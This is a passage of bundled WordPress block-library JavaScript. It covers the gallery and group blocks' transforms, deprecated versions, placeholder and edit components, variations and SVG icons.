20735 type: "block",
20736 isMultiBlock: true,
20737 blocks: ["core/image"],
20738 transform: (attributes) => {
20739 let { align, sizeSlug } = attributes[0];
20740 align = attributes.every(
20741 (attribute) => attribute.align === align
20742 ) ? align : void 0;
20743 sizeSlug = attributes.every(
20744 (attribute) => attribute.sizeSlug === sizeSlug
20745 ) ? sizeSlug : void 0;
20746 const validImages = attributes.filter(({ url }) => url);
20747 const innerBlocks = validImages.map((image) => {
20748 image.width = void 0;
20749 image.height = void 0;
20750 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", image);
20751 });
20752 return (0,external_wp_blocks_namespaceObject.createBlock)(
20753 "core/gallery",
20754 {
20755 align,
20756 sizeSlug
20757 },
20758 innerBlocks
20759 );
20760 }
20761 },
20762 {
20763 type: "shortcode",
20764 tag: "gallery",
20765 transform({ named: { ids, columns = 3, link, orderby } }) {
20766 const imageIds = parseShortcodeIds(ids).map(
20767 (id) => parseInt(id, 10)
20768 );
20769 let linkTo = LINK_DESTINATION_NONE;
20770 if (link === "post") {
20771 linkTo = LINK_DESTINATION_ATTACHMENT;
20772 } else if (link === "file") {
20773 linkTo = LINK_DESTINATION_MEDIA;
20774 }
20775 const galleryBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
20776 "core/gallery",
20777 {
20778 columns: parseInt(columns, 10),
20779 linkTo,
20780 randomOrder: orderby === "rand"
20781 },
20782 imageIds.map(
20783 (imageId) => (0,external_wp_blocks_namespaceObject.createBlock)("core/image", { id: imageId })
20784 )
20785 );
20786 return galleryBlock;
20787 },
20788 isMatch({ named }) {
20789 return void 0 !== named.ids;
20790 }
20791 },
20792 {
20793 // When created by drag and dropping multiple files on an insertion point. Because multiple
20794 // files must not be transformed to a gallery when dropped within a gallery there is another transform
20795 // within the image block to handle that case. Therefore this transform has to have priority 1
20796 // set so that it overrides the image block transformation when multiple images are dropped outside
20797 // of a gallery block.
20798 type: "files",
20799 priority: 1,
20800 isMatch(files) {
20801 return files.length !== 1 && files.every(
20802 (file) => file.type.indexOf("image/") === 0
20803 );
20804 },
20805 transform(files) {
20806 const innerBlocks = files.map(
20807 (file) => (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
20808 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
20809 })
20810 );
20811 return (0,external_wp_blocks_namespaceObject.createBlock)("core/gallery", {}, innerBlocks);
20812 }
20813 }
20814 ],
20815 to: [
20816 {
20817 type: "block",
20818 blocks: ["core/image"],
20819 transform: ({ align }, innerBlocks) => {
20820 if (innerBlocks.length > 0) {
20821 return innerBlocks.map(
20822 ({
20823 attributes: {
20824 url,
20825 alt,
20826 caption,
20827 title,
20828 href,
20829 rel,
20830 linkClass,
20831 id,
20832 sizeSlug: imageSizeSlug,
20833 linkDestination,
20834 linkTarget,
20835 anchor,
20836 className
20837 }
20838 }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
20839 align,
20840 url,
20841 alt,
20842 caption,
20843 title,
20844 href,
20845 rel,
20846 linkClass,
20847 id,
20848 sizeSlug: imageSizeSlug,
20849 linkDestination,
20850 linkTarget,
20851 anchor,
20852 className
20853 })
20854 );
20855 }
20856 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", { align });
20857 }
20858 }
20859 ]
20860};
20861var gallery_transforms_transforms_default = gallery_transforms_transforms;
20862
20863
20864;// ./node_modules/@wordpress/block-library/build-module/gallery/index.js
20865
20866
20867
20868
20869
20870
20871
20872const { name: gallery_name } = gallery_block_namespaceObject;
20873const gallery_settings = {
20874 icon: gallery_default,
20875 example: {
20876 attributes: {
20877 columns: 2
20878 },
20879 innerBlocks: [
20880 {
20881 name: "core/image",
20882 attributes: {
20883 url: "https://s.w.org/images/core/5.3/Glacial_lakes%2C_Bhutan.jpg"
20884 }
20885 },
20886 {
20887 name: "core/image",
20888 attributes: {
20889 url: "https://s.w.org/images/core/5.3/Sediment_off_the_Yucatan_Peninsula.jpg"
20890 }
20891 }
20892 ]
20893 },
20894 transforms: gallery_transforms_transforms_default,
20895 edit: GalleryEdit,
20896 save: saveWithInnerBlocks,
20897 deprecated: gallery_deprecated_deprecated_default
20898};
20899const gallery_init = () => initBlock({ name: gallery_name, metadata: gallery_block_namespaceObject, settings: gallery_settings });
20900
20901
20902;// ./node_modules/@wordpress/block-library/build-module/group/deprecated.js
20903
20904
20905
20906const migrateAttributes = (attributes) => {
20907 if (!attributes.tagName) {
20908 attributes = {
20909 ...attributes,
20910 tagName: "div"
20911 };
20912 }
20913 if (!attributes.customTextColor && !attributes.customBackgroundColor) {
20914 return attributes;
20915 }
20916 const style = { color: {} };
20917 if (attributes.customTextColor) {
20918 style.color.text = attributes.customTextColor;
20919 }
20920 if (attributes.customBackgroundColor) {
20921 style.color.background = attributes.customBackgroundColor;
20922 }
20923 const { customTextColor, customBackgroundColor, ...restAttributes } = attributes;
20924 return {
20925 ...restAttributes,
20926 style
20927 };
20928};
20929const group_deprecated_deprecated = [
20930 // Version with default layout.
20931 {
20932 attributes: {
20933 tagName: {
20934 type: "string",
20935 default: "div"
20936 },
20937 templateLock: {
20938 type: ["string", "boolean"],
20939 enum: ["all", "insert", false]
20940 }
20941 },
20942 supports: {
20943 __experimentalOnEnter: true,
20944 __experimentalSettings: true,
20945 align: ["wide", "full"],
20946 anchor: true,
20947 ariaLabel: true,
20948 html: false,
20949 color: {
20950 gradients: true,
20951 link: true,
20952 __experimentalDefaultControls: {
20953 background: true,
20954 text: true
20955 }
20956 },
20957 spacing: {
20958 margin: ["top", "bottom"],
20959 padding: true,
20960 blockGap: true,
20961 __experimentalDefaultControls: {
20962 padding: true,
20963 blockGap: true
20964 }
20965 },
20966 __experimentalBorder: {
20967 color: true,
20968 radius: true,
20969 style: true,
20970 width: true,
20971 __experimentalDefaultControls: {
20972 color: true,
20973 radius: true,
20974 style: true,
20975 width: true
20976 }
20977 },
20978 typography: {
20979 fontSize: true,
20980 lineHeight: true,
20981 __experimentalFontStyle: true,
20982 __experimentalFontWeight: true,
20983 __experimentalLetterSpacing: true,
20984 __experimentalTextTransform: true,
20985 __experimentalDefaultControls: {
20986 fontSize: true
20987 }
20988 },
20989 layout: true
20990 },
20991 save({ attributes: { tagName: Tag } }) {
20992 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(external_wp_blockEditor_namespaceObject.useBlockProps.save()) });
20993 },
20994 isEligible: ({ layout }) => layout?.inherit || layout?.contentSize && layout?.type !== "constrained",
20995 migrate: (attributes) => {
20996 const { layout = null } = attributes;
20997 if (layout?.inherit || layout?.contentSize) {
20998 return {
20999 ...attributes,
21000 layout: {
21001 ...layout,
21002 type: "constrained"
21003 }
21004 };
21005 }
21006 }
21007 },
21008 // Version of the block with the double div.
21009 {
21010 attributes: {
21011 tagName: {
21012 type: "string",
21013 default: "div"
21014 },
21015 templateLock: {
21016 type: ["string", "boolean"],
21017 enum: ["all", "insert", false]
21018 }
21019 },
21020 supports: {
21021 align: ["wide", "full"],
21022 anchor: true,
21023 color: {
21024 gradients: true,
21025 link: true
21026 },
21027 spacing: {
21028 padding: true
21029 },
21030 __experimentalBorder: {
21031 radius: true
21032 }
21033 },
21034 save({ attributes }) {
21035 const { tagName: Tag } = attributes;
21036 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-group__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) }) });
21037 }
21038 },
21039 // Version of the block without global styles support
21040 {
21041 attributes: {
21042 backgroundColor: {
21043 type: "string"
21044 },
21045 customBackgroundColor: {
21046 type: "string"
21047 },
21048 textColor: {
21049 type: "string"
21050 },
21051 customTextColor: {
21052 type: "string"
21053 }
21054 },
21055 supports: {
21056 align: ["wide", "full"],
21057 anchor: true,
21058 html: false
21059 },
21060 migrate: migrateAttributes,
21061 save({ attributes }) {
21062 const {
21063 backgroundColor,
21064 customBackgroundColor,
21065 textColor,
21066 customTextColor
21067 } = attributes;
21068 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
21069 "background-color",
21070 backgroundColor
21071 );
21072 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
21073 const className = dist_clsx(backgroundClass, textClass, {
21074 "has-text-color": textColor || customTextColor,
21075 "has-background": backgroundColor || customBackgroundColor
21076 });
21077 const styles = {
21078 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
21079 color: textClass ? void 0 : customTextColor
21080 };
21081 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, style: styles, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-group__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) }) });
21082 }
21083 },
21084 // Version of the group block with a bug that made text color class not applied.
21085 {
21086 attributes: {
21087 backgroundColor: {
21088 type: "string"
21089 },
21090 customBackgroundColor: {
21091 type: "string"
21092 },
21093 textColor: {
21094 type: "string"
21095 },
21096 customTextColor: {
21097 type: "string"
21098 }
21099 },
21100 migrate: migrateAttributes,
21101 supports: {
21102 align: ["wide", "full"],
21103 anchor: true,
21104 html: false
21105 },
21106 save({ attributes }) {
21107 const {
21108 backgroundColor,
21109 customBackgroundColor,
21110 textColor,
21111 customTextColor
21112 } = attributes;
21113 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
21114 "background-color",
21115 backgroundColor
21116 );
21117 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
21118 const className = dist_clsx(backgroundClass, {
21119 "has-text-color": textColor || customTextColor,
21120 "has-background": backgroundColor || customBackgroundColor
21121 });
21122 const styles = {
21123 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
21124 color: textClass ? void 0 : customTextColor
21125 };
21126 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, style: styles, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-group__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) }) });
21127 }
21128 },
21129 // v1 of group block. Deprecated to add an inner-container div around `InnerBlocks.Content`.
21130 {
21131 attributes: {
21132 backgroundColor: {
21133 type: "string"
21134 },
21135 customBackgroundColor: {
21136 type: "string"
21137 }
21138 },
21139 supports: {
21140 align: ["wide", "full"],
21141 anchor: true,
21142 html: false
21143 },
21144 migrate: migrateAttributes,
21145 save({ attributes }) {
21146 const { backgroundColor, customBackgroundColor } = attributes;
21147 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
21148 "background-color",
21149 backgroundColor
21150 );
21151 const className = dist_clsx(backgroundClass, {
21152 "has-background": backgroundColor || customBackgroundColor
21153 });
21154 const styles = {
21155 backgroundColor: backgroundClass ? void 0 : customBackgroundColor
21156 };
21157 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, style: styles, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
21158 }
21159 }
21160];
21161var group_deprecated_deprecated_default = group_deprecated_deprecated;
21162
21163
21164;// ./node_modules/@wordpress/block-library/build-module/group/placeholder.js
21165
21166
21167
21168
21169
21170
21171
21172const getGroupPlaceholderIcons = (name = "group") => {
21173 const icons = {
21174 group: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21175 external_wp_components_namespaceObject.SVG,
21176 {
21177 xmlns: "http://www.w3.org/2000/svg",
21178 width: "48",
21179 height: "48",
21180 viewBox: "0 0 48 48",
21181 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z" })
21182 }
21183 ),
21184 "group-row": /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21185 external_wp_components_namespaceObject.SVG,
21186 {
21187 xmlns: "http://www.w3.org/2000/svg",
21188 width: "48",
21189 height: "48",
21190 viewBox: "0 0 48 48",
21191 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z" })
21192 }
21193 ),
21194 "group-stack": /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21195 external_wp_components_namespaceObject.SVG,
21196 {
21197 xmlns: "http://www.w3.org/2000/svg",
21198 width: "48",
21199 height: "48",
21200 viewBox: "0 0 48 48",
21201 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm0 17a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Z" })
21202 }
21203 ),
21204 "group-grid": /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21205 external_wp_components_namespaceObject.SVG,
21206 {
21207 xmlns: "http://www.w3.org/2000/svg",
21208 width: "48",
21209 height: "48",
21210 viewBox: "0 0 48 48",
21211 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10ZM0 27a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V27Z" })
21212 }
21213 )
21214 };
21215 return icons?.[name];
21216};
21217function useShouldShowPlaceHolder({
21218 attributes = {
21219 style: void 0,
21220 backgroundColor: void 0,
21221 textColor: void 0,
21222 fontSize: void 0
21223 },
21224 usedLayoutType = "",
21225 hasInnerBlocks = false
21226}) {
21227 const { style, backgroundColor, textColor, fontSize } = attributes;
21228 const [showPlaceholder, setShowPlaceholder] = (0,external_wp_element_namespaceObject.useState)(
21229 !hasInnerBlocks && !backgroundColor && !fontSize && !textColor && !style && usedLayoutType !== "flex" && usedLayoutType !== "grid"
21230 );
21231 (0,external_wp_element_namespaceObject.useEffect)(() => {
21232 if (!!hasInnerBlocks || !!backgroundColor || !!fontSize || !!textColor || !!style || usedLayoutType === "flex") {
21233 setShowPlaceholder(false);
21234 }
21235 }, [
21236 backgroundColor,
21237 fontSize,
21238 textColor,
21239 style,
21240 usedLayoutType,
21241 hasInnerBlocks
21242 ]);
21243 return [showPlaceholder, setShowPlaceholder];
21244}
21245function GroupPlaceHolder({ name, onSelect }) {
21246 const variations = (0,external_wp_data_namespaceObject.useSelect)(
21247 (select) => select(external_wp_blocks_namespaceObject.store).getBlockVariations(name, "block"),
21248 [name]
21249 );
21250 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
21251 className: "wp-block-group__placeholder"
21252 });
21253 (0,external_wp_element_namespaceObject.useEffect)(() => {
21254 if (variations && variations.length === 1) {
21255 onSelect(variations[0]);
21256 }
21257 }, [onSelect, variations]);
21258 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21259 external_wp_components_namespaceObject.Placeholder,
21260 {
21261 instructions: (0,external_wp_i18n_namespaceObject.__)("Group blocks together. Select a layout:"),
21262 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21263 "ul",
21264 {
21265 role: "list",
21266 className: "wp-block-group-placeholder__variations",
21267 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Block variations"),
21268 children: variations.map((variation) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21269 external_wp_components_namespaceObject.Button,
21270 {
21271 __next40pxDefaultSize: true,
21272 variant: "tertiary",
21273 icon: getGroupPlaceholderIcons(
21274 variation.name
21275 ),
21276 iconSize: 48,
21277 onClick: () => onSelect(variation),
21278 className: "wp-block-group-placeholder__variation-button",
21279 label: `${variation.title}: ${variation.description}`
21280 }
21281 ) }, variation.name))
21282 }
21283 )
21284 }
21285 ) });
21286}
21287var placeholder_default = GroupPlaceHolder;
21288
21289
21290;// ./node_modules/@wordpress/block-library/build-module/group/edit.js
21291
21292
21293
21294
21295
21296
21297
21298
21299const { HTMLElementControl: edit_HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
21300function GroupEditControls({ tagName, onSelectTagName, clientId }) {
21301 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21302 edit_HTMLElementControl,
21303 {
21304 tagName,
21305 onChange: onSelectTagName,
21306 clientId,
21307 options: [
21308 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
21309 { label: "<header>", value: "header" },
21310 { label: "<main>", value: "main" },
21311 { label: "<section>", value: "section" },
21312 { label: "<article>", value: "article" },
21313 { label: "<aside>", value: "aside" },
21314 { label: "<footer>", value: "footer" }
21315 ]
21316 }
21317 ) });
21318}
21319function GroupEdit({ attributes, name, setAttributes, clientId }) {
21320 const { hasInnerBlocks, themeSupportsLayout } = (0,external_wp_data_namespaceObject.useSelect)(
21321 (select) => {
21322 const { getBlock, getSettings } = select(external_wp_blockEditor_namespaceObject.store);
21323 const block = getBlock(clientId);
21324 return {
21325 hasInnerBlocks: !!(block && block.innerBlocks.length),
21326 themeSupportsLayout: getSettings()?.supportsLayout
21327 };
21328 },
21329 [clientId]
21330 );
21331 const {
21332 tagName: TagName = "div",
21333 templateLock,
21334 allowedBlocks,
21335 layout = {}
21336 } = attributes;
21337 const { type = "default" } = layout;
21338 const layoutSupportEnabled = themeSupportsLayout || type === "flex" || type === "grid";
21339 const ref = (0,external_wp_element_namespaceObject.useRef)();
21340 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ ref });
21341 const [showPlaceholder, setShowPlaceholder] = useShouldShowPlaceHolder({
21342 attributes,
21343 usedLayoutType: type,
21344 hasInnerBlocks
21345 });
21346 let renderAppender;
21347 if (showPlaceholder) {
21348 renderAppender = false;
21349 } else if (!hasInnerBlocks) {
21350 renderAppender = external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender;
21351 }
21352 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
21353 layoutSupportEnabled ? blockProps : { className: "wp-block-group__inner-container" },
21354 {
21355 dropZoneElement: ref.current,
21356 templateLock,
21357 allowedBlocks,
21358 renderAppender
21359 }
21360 );
21361 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
21362 const selectVariation = (nextVariation) => {
21363 setAttributes(nextVariation.attributes);
21364 selectBlock(clientId, -1);
21365 setShowPlaceholder(false);
21366 };
21367 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21368 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21369 GroupEditControls,
21370 {
21371 tagName: TagName,
21372 onSelectTagName: (value) => setAttributes({ tagName: value }),
21373 clientId
21374 }
21375 ),
21376 showPlaceholder && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.View, { children: [
21377 innerBlocksProps.children,
21378 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21379 placeholder_default,
21380 {
21381 name,
21382 onSelect: selectVariation
21383 }
21384 )
21385 ] }),
21386 layoutSupportEnabled && !showPlaceholder && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...innerBlocksProps }),
21387 !layoutSupportEnabled && !showPlaceholder && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps }) })
21388 ] });
21389}
21390var group_edit_edit_default = GroupEdit;
21391
21392
21393;// ./node_modules/@wordpress/block-library/build-module/group/block.json
21394const group_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/group","title":"Group","category":"design","description":"Gather blocks in a layout container.","keywords":["container","wrapper","row","section"],"textdomain":"default","attributes":{"tagName":{"type":"string","default":"div"},"templateLock":{"type":["string","boolean"],"enum":["all","insert","contentOnly",false]}},"supports":{"__experimentalOnEnter":true,"__experimentalOnMerge":true,"__experimentalSettings":true,"align":["wide","full"],"anchor":true,"ariaLabel":true,"html":false,"background":{"backgroundImage":true,"backgroundSize":true,"__experimentalDefaultControls":{"backgroundImage":true}},"color":{"gradients":true,"heading":true,"button":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"shadow":true,"spacing":{"margin":["top","bottom"],"padding":true,"blockGap":true,"__experimentalDefaultControls":{"padding":true,"blockGap":true}},"dimensions":{"minHeight":true},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"position":{"sticky":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"layout":{"allowSizingOnChildren":true},"interactivity":{"clientNavigation":true},"allowedBlocks":true},"editorStyle":"wp-block-group-editor","style":"wp-block-group"}');
21395;// ./node_modules/@wordpress/block-library/build-module/group/save.js
21396
21397
21398function group_save_save({ attributes: { tagName: Tag } }) {
21399 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(external_wp_blockEditor_namespaceObject.useBlockProps.save()) });
21400}
21401
21402
21403;// ./node_modules/@wordpress/block-library/build-module/group/transforms.js
21404
21405const group_transforms_transforms = {
21406 from: [
21407 {
21408 type: "block",
21409 isMultiBlock: true,
21410 blocks: ["*"],
21411 __experimentalConvert(blocks) {
21412 const alignments = ["wide", "full"];
21413 const widestAlignment = blocks.reduce(
21414 (accumulator, block) => {
21415 const { align } = block.attributes;
21416 return alignments.indexOf(align) > alignments.indexOf(accumulator) ? align : accumulator;
21417 },
21418 void 0
21419 );
21420 const groupInnerBlocks = blocks.map((block) => {
21421 return (0,external_wp_blocks_namespaceObject.createBlock)(
21422 block.name,
21423 block.attributes,
21424 block.innerBlocks
21425 );
21426 });
21427 return (0,external_wp_blocks_namespaceObject.createBlock)(
21428 "core/group",
21429 {
21430 align: widestAlignment,
21431 layout: { type: "constrained" }
21432 },
21433 groupInnerBlocks
21434 );
21435 }
21436 }
21437 ]
21438};
21439var group_transforms_transforms_default = group_transforms_transforms;
21440
21441
21442;// ./node_modules/@wordpress/icons/build-module/library/row.js
21443
21444
21445var row_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z" }) });
21446
21447
21448;// ./node_modules/@wordpress/icons/build-module/library/stack.js
21449
21450
21451var stack_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z" }) });
21452
21453
21454;// ./node_modules/@wordpress/icons/build-module/library/grid.js
21455
21456
21457var grid_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21458 external_wp_primitives_namespaceObject.Path,
21459 {
21460 d: "m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z",
21461 fillRule: "evenodd",
21462 clipRule: "evenodd"
21463 }
21464) });
21465
21466
21467;// ./node_modules/@wordpress/block-library/build-module/group/variations.js
21468
21469
21470const example = {
21471 innerBlocks: [
21472 {
21473 name: "core/paragraph",
21474 attributes: {
21475 content: (0,external_wp_i18n_namespaceObject.__)("One.")
21476 }
21477 },
21478 {
21479 name: "core/paragraph",
21480 attributes: {
21481 content: (0,external_wp_i18n_namespaceObject.__)("Two.")
21482 }
21483 },
21484 {
21485 name: "core/paragraph",
21486 attributes: {
21487 content: (0,external_wp_i18n_namespaceObject.__)("Three.")
21488 }
21489 },
21490 {
21491 name: "core/paragraph",
21492 attributes: {
21493 content: (0,external_wp_i18n_namespaceObject.__)("Four.")
21494 }
21495 },
21496 {
21497 name: "core/paragraph",
21498 attributes: {
21499 content: (0,external_wp_i18n_namespaceObject.__)("Five.")
21500 }
21501 },
21502 {
21503 name: "core/paragraph",
21504 attributes: {
21505 content: (0,external_wp_i18n_namespaceObject.__)("Six.")
21506 }
21507 }
21508 ]
21509};
21510const group_variations_variations = [
21511 {
21512 name: "group",
21513 title: (0,external_wp_i18n_namespaceObject.__)("Group"),
21514 description: (0,external_wp_i18n_namespaceObject.__)("Gather blocks in a container."),
21515 attributes: { layout: { type: "constrained" } },
21516 isDefault: true,
21517 scope: ["block", "inserter", "transform"],
21518 icon: group_default
21519 },
21520 {
21521 name: "group-row",
21522 title: (0,external_wp_i18n_namespaceObject._x)("Row", "single horizontal line"),
21523 description: (0,external_wp_i18n_namespaceObject.__)("Arrange blocks horizontally."),
21524 attributes: { layout: { type: "flex", flexWrap: "nowrap" } },
21525 scope: ["block", "inserter", "transform"],
21526 isActive: ["layout.type"],
21527 icon: row_default,
21528 example
21529 },
21530 {
21531 name: "group-stack",
21532 title: (0,external_wp_i18n_namespaceObject.__)("Stack"),
21533 description: (0,external_wp_i18n_namespaceObject.__)("Arrange blocks vertically."),
21534 attributes: { layout: { type: "flex", orientation: "vertical" } },
21535 scope: ["block", "inserter", "transform"],
21536 isActive: ["layout.type", "layout.orientation"],
21537 icon: stack_default,
21538 example
21539 },
21540 {
21541 name: "group-grid",
21542 title: (0,external_wp_i18n_namespaceObject.__)("Grid"),
21543 description: (0,external_wp_i18n_namespaceObject.__)("Arrange blocks in a grid."),
21544 attributes: { layout: { type: "grid" } },
21545 scope: ["block", "inserter", "transform"],
21546 isActive: ["layout.type"],
21547 icon: grid_default,
21548 example
21549 }
21550];
21551var group_variations_variations_default = group_variations_variations;
21552
21553
21554;// ./node_modules/@wordpress/block-library/build-module/group/index.js
21555
21556
21557
21558
21559
21560
21561
21562
21563
21564const { name: group_name } = group_block_namespaceObject;
21565const group_settings = {
21566 icon: group_default,
21567 example: {
21568 attributes: {
21569 layout: {
21570 type: "constrained",
21571 justifyContent: "center"
21572 },
21573 style: {
21574 spacing: {
21575 padding: {
